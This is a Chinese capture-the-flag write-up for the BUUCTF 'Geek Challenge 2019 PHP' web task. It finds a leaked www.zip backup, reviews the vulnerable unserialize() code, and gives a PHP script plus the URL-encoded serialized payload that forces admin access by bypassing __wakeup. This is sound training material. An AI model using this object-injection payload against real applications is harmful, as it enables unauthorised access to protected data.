【BUUCTF-web】极客大挑战-2019 PHP

项目地址:极客大挑战2019PHP

在这里插入图片描述

首先能看到网站首页给出有网页备份,那就用目录扫描工具7kbscan

7kbscan下载地址:https://github.com/7kbstorm/7kbscan-WebPathBrute

在这里插入图片描述

既然说是备份一般是以压缩包形式出现勾选自定义类型为.zip,扫描出www.zip文件下载(线程不要太多容易把网站崩掉)。

在这里插入图片描述

发现这五个文件先看flag.php,发现没东西

在这里插入图片描述

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

再看index.php,首先包含了一个文件class.php,GET接收select参数将收到的参数进行反序列化。

有很多css样式和html我这边直接留有用的php代码:


    <?php
    include 'class.php';			//包含文件
    $select = $_GET['select']; 		//GET接收参数
    $res=unserialize(@$select);		//将接收的参数反序列化
    ?>

我们再接着看class.php文件

<?php
include 'flag.php';


error_reporting(0);

//定义了一个对象:Name
class Name{
	//使用private定义了两个变量
    private $username = 'nonono';
    private $password = 'yesyes';
	
	//使用__construct类中的魔法方法(当一个对象创建时被调用)
    public function __construct($username,$password){
    	//给变量赋值
        $this->username = $username;
        $this->password = $password;
    }
	//wakeup方法在对象被反序列化之前被调用
    function __wakeup(){
    	//在反序列化之前会把username赋值为guest
        $this->username = 'guest';
    }
	//wakeup方法在对象销毁时被调用
    function __destruct(){
    	//如果password值不等于100时执行
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        //如果username全等于admin时执行
        if ($this->username === 'admin') {
            global $flag;
            //输出flag
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

这边我根据题型写的pyload

<?php

    class Name{
        private $username = 'admin';
        private $password = 100;

    }
    $name = new Name();
    //因为是private定义的变量序列化时有不可见字符所以需要url编码一下
    echo urlencode(serialize($name));

?>

运行一下pyload得出序列化的内容

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

在这里插入图片描述

接着用burp抓包构造

发现不行,还是需要绕过wakeup

 function __wakeup(){
    	//在反序列化之前会把username赋值为guest
        $this->username = 'guest';
    }

在这里插入图片描述

将序列化过的对象属性数值改大就可以了

在这里插入图片描述

在这里插入图片描述

flag{6da1063d-1592-4978-b64b-b2ac35b4ed5e}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值